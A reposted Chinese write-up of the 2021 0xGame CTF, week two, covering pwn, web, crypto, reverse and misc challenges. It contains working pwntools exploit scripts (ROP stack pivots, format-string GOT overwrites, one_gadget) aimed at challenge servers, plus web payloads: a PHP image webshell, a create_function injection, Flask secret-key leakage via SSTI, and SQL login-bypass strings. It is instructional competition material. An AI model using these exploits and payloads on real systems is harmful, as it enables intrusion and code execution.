2021-0xGame 第二周 WriteUp(AK)


Pwn

1. Where is my stack?!

一個我覺得挺難的棧遷移
由於直接把棧遷移到bss段會覆蓋之前的stdin/stdoutIO指針,所以直接puts是不行的,但是read覆蓋的內容比較少,不會有什么影響,可以用read讀入數據到更高的bss段,再轉移執行。
但是通過動態調試會發現,回到__start后,無法push數據,因為RSP到了不可寫的段,因此還需要將棧抬高,通過0x40128d處的gadgetpop rsp ; pop r13 ; pop r14 ; pop r15 ; ret)實現。
之后,在調用system時,會發現,又遇到了與之前類似的問題,還需要將棧再抬高一次,仿照上述思路即可。

from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")

io = remote("121.4.15.155", 10005)
pwn = ELF("pwn")

#0x40128d  pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
offset = 0x10
bss_addr = 0x4040A0 + offset
bss_addr_new = 0x4040A0 + 0x500
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
read_plt_addr = pwn.plt['read']
read_got_addr = pwn.got['read']
pop_rdi_addr = 0x401293
pop_rsi_addr = 0x401291
ret_addr = 0x40101a

io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)

payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401070)
io.send(payload)

io.recvuntil("something\n")
io.send(b'23333')

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

base = puts_addr - 0x06f6a0
system_addr = 0x0453a0 + base
bin_sh_addr = 0x18ce17 + base
#one_gadget_addr = base + 0x4527a

io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)

payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)

io.recvuntil("something\n")
io.send(b'23333')

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)

io.send(payload)
io.interactive()

2. N1k0la's_love

格式化字符串漏洞,用fmtstr_payload直接一把梭。

from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10006)
num_addr = 0x404058
payload = fmtstr_payload(6 , {num_addr : 1314})
io.sendafter("N1k0la?\n",payload)
io.interactive()

3. stupid repeater

格式化字符串漏洞,修改memsetgot表指向的地址為后門函數。

from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10007)
pwn = ELF("pwn")
memset_got_addr = pwn.got['memset']
payload = fmtstr_payload(6 , {memset_got_addr : 0x401197})
io.send(payload)
io.interactive()

4. ezpwn?

一個簡單的棧遷移,最后再用一把one_gadget即可。

from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10008)
pwn = ELF("pwn")
offset = 0 #本想抬高遷移地址,防止申請的臨時空間覆蓋bss段之前的有用數據,結果沒用到
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
pop_rdi_addr = 0x4012a3
io.recvuntil("maybe...\n")
payload = b'a'*(offset+8) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401167)
io.send(payload)
io.recvuntil("in ")
bss_addr = offset + int(io.recv(9), 16)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - 0x06f6a0
one_gadget_addr = base + 0x4527a
io.recvuntil("more\n")
payload = b'a'*0x58 + p64(one_gadget_addr)
io.send(payload)
io.interactive()

Web

1. 一個簡單的文件上傳

對上傳的文件后綴過濾了ph,對其內容過濾了php,考慮上傳圖片馬,內容用短標簽寫,如:上傳1.png,內容為<?=system('ls')?>
看源代碼,發現注釋read.php?filename=...,由於圖片馬需要文件包含觸發執行,所以read.php?filename=/var/www/html/XXX.png,使用絕對路徑包含上傳的文件,即可執行上傳的代碼內容。
由於出題人比較優秀,把flag藏到了某未知區域,你是直接找不到flag文件的,故可調用linux命令,上傳圖片馬<?=system('grep -r "0xGame" /')?>直接查找flag的關鍵字內容即可,最終發現flag被藏在了環境變量中。

2. find_my_secret

hash_hmac()的繞過比較簡單,如果你將數組傳遞給中間的參數,php將生成一個警告,返回一個NULL並繼續執行你的程序。
$_POST['action']('',$_POST['Pupi1'])考慮action傳入creat_function函數,Pupi1再傳入}system('cat f*');/*即可。

create_function('$a','echo $a."123"');

等價於:

function f($a) {
    echo $a."123";
}

所以,按如上傳入,就成了:

function f() {
	}system('cat f*');/*
}

3. 一個簡單的登錄

運維小哥哥題目出的太好了~
http://159.75.116.195:8083/{{7*7}}返回49,即可確定此次有SSTI模板注入,但是優秀的出題人又一次瘋狂過濾了class等,所以不能直接RCE...
又由於是在flask框架下,所以考慮偽造session繞過admin驗證,對session的加解密需要keyhttp://159.75.116.195:8083/{{config}}直接可以拿到'SECRET_KEY': 'x1ct34myydsytstflglgjhdfhsh',此外,需要注意adminuid=1的用戶,抓包改包操作一把就OK了。

4. Come to Inject me

giegie,come to inject me. 太 騷 了
爆破一下,發現過濾了單引號,既然要閉合,那么可以考慮雙引號或括號,試一下就知道,這里是雙引號。
此外還過濾了空格,這個繞過的方法很多,比如 /**/()
萬能密碼:"or/**/1#"or(1)#都行。

Crypto

1. Gandalf's guidance

第四題的一部分,就不單獨寫了,爆破即可。

2. Calender

據說是簽到題,比如Sat2,就是日歷圖中第二個星期六的日期所對應的小寫英文字母,比如23號就對應w,手動一波也就行了。

3. Equation

拿了Z3解方程(給的數據是隨機的),之后再反過來轉一下即可,代碼如下:

from z3 import *
from Crypto.Util.number import *

x = Solver()
p,q = Ints('p q')
x.add(6887 * p + 6685 * q == 84364148525485105033100559758288341801606479982371604233782851268212776929093825186200569639679379662012853163288875748966226418560567327184386125769109572527243683402932876462430040230601416992800503974050327849168287851048632339372667322130200148797201510568566758637230782487307207951623927975703680168351662572365585655137363074805075497369721586216852359062655097098906411486397461633420175046434099542605504424759954509872)
x.add(p * q == 38638237231070703348591503984087157139855999723629100227991326861043320246507239948950780720812381270469550027894783071807368558851655126398884682687518489798378148842318257875074075434046534385014497892976879173543079489750705991701423415528881216135288807363846319538330504878296472459184137908223291582389028806770804423108109796415280755356243360284992180099557497994337960255608612095136751322849326778216179565749327748051508725926140544644707248428323922473683703174595429973350564186349290698433708332719940114864248715025499639381768192961738970331180668590561712758335567869395985007039585965183556180717333332316121469477430884469188279519433903934792555750802606151282510726130416494678418608554970951250829893808042084783421187277222005273724835295215512261532808816046425626189632800931916254203840824650212605048530164426181661785069)
x.check()
print(x.model())

print(long_to_bytes(125161236316403271164016787891594217047442759526495952066528516225311605327528804157984524799577329854265429162648826093949),end="")

4. CN NO.1

中國剩余定理,RSA廣播攻擊了解一下。
代碼如下:

from pwn import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from hashlib import sha256

io = remote("47.101.38.213", 60712)
io.recvuntil("XXXX+")
tail = str(io.recv(8),'utf-8')
io.recvuntil("== ")
res = str(io.recv(63),'utf-8')

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

io.recvuntil("XXXX :")
for i in table:
	for j in table:
		for k in table:
			for t in table:
				if sha256((i + j + k + t + tail).encode()).hexdigest() == res:
					kkk = i + j + k + t
					io.send(kkk.encode(encoding="utf-8")) 
					exit(0)

e = 3
n1 = int(io.recvline()[3:])
c1 = int(io.recvline()[3:])
n2 = int(io.recvline()[3:])
c2 = int(io.recvline()[3:])
n3 = int(io.recvline()[3:])
c3 = int(io.recvline()[3:])
N = [n1 , n2 , n3]
C = [c1 , c2 , c3]

result, mod = crt(N, C)
ans, type = iroot(result, e)
ans = str(ans)
io.send(ans.encode(encoding="utf-8"))
io.interactive()

Reverse

1. Despacito

DES解密,密鑰拿IDA直接能看到。
得到明文之后,再轉一下md5即可。

from Crypto.Cipher import DES
import hashlib
key = b'0xgame21'
des = DES.new(key, DES.MODE_ECB)
f = open('DES.txt', 'rb')
encrypted_text = f.read()
plain_text = des.decrypt(encrypted_text).decode().rstrip(' ')
print(plain_text)
m = hashlib.md5()
m.update(plain_text.encode("utf-8"))
print("0xGame{",m.hexdigest(),"}",sep="")

2. Secret Base

一個換了表的base64,解密腳本如下:

#include<bits/stdc++.h>
using namespace std;

char data[] = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyz0ABCi56789+/";
char secret[65] = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5Hm05HVlREnoAhaF0Hn2dFBQVFC0=";
char plain[45];

int GetIndex(char c)
{
	int i=0;
	for(i=0; i<strlen(data); i++)
	{
		if(data[i] == c)
		{
			return i;
		}
	}
	return -1;
}

void Decode(char *str,char *result)
{
	int len = strlen(str);
	int i = 0;
	int	cnt = 0;
	int arr[4];
	int temp;
	
	for(i=0; i<len; i+=4)
	{
		arr[0] = GetIndex(str[i]);
		arr[1] = GetIndex(str[i+1]);
		if(str[i+2] == '=')
			break;
		arr[2] = GetIndex(str[i+2]);
		if(str[i+3] == '=')
			break;
		arr[3] = GetIndex(str[i+3]);

		temp = (arr[0]<<2) | (arr[1]>>4);
		result[cnt++] = temp;
		temp = (arr[1]&0x0f);
		temp = temp << 4;
		temp = temp | (arr[2]>>2);
		result[cnt++] = temp;
		temp = arr[2]&0x03;
		temp = temp << 6;
		temp = temp | (arr[3]&0x3f);
		result[cnt++] = temp;
	}
	if(str[i+2] == '=')
	{
		temp = (arr[0]<<2) | (arr[1]>>4);
		result[cnt++] = temp;
		temp = arr[1]&0x0f;
		temp = temp<<4;
	}
	else if(str[i+3] == '=')
	{
		temp = (arr[0]<<2) | (arr[1]>>4);
		result[cnt++] = temp;
		temp = arr[1]&0x0f;
		temp = temp<<4;
		temp = temp | (arr[2]>>2);
		result[cnt++] = temp;
	}
	result[cnt] = '\0';
}

int main()
{
	Decode(secret, plain);
	cout<<plain<<endl;
	return 0;
}

Misc

1. ENCODE

先用新約佛論禪解密,再把中文換成Ook,拿Ook解密,最后再拿Script Decoder解密vbs腳本即可。

2. EasyAlpha

圖片分離,用Stegsolve直接一把梭。

3. Hamburger Souls

16進制編輯器,如010打開,直接搜索0xGame即可拿到flag

4. dlohesuoHesaB

觀察到題目名,附件名,如果倒過來就是正常的英文單詞或組合。
所以,將附件內容全倒過來,然后再用Base家族解密。
解密流程:Base85 -> Base58 -> Base85 -> Base32 -> Base64 -> Base58 -> Base85 -> Base32 -> Base62 -> Base58 -> Base64 -> Base85 -> Base64 -> Base62 -> Base58 -> Base32,一共16層。

5. EasyPcap

掃描網絡的操作是ping,其對應的DestinationIP185.199.108.153,故以185.199.108.153為明文,ping為密碼,進行3DES加密,並以16進制的形式輸出密文即可。
0xGame{ec6d199865663767741e27953653206e}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM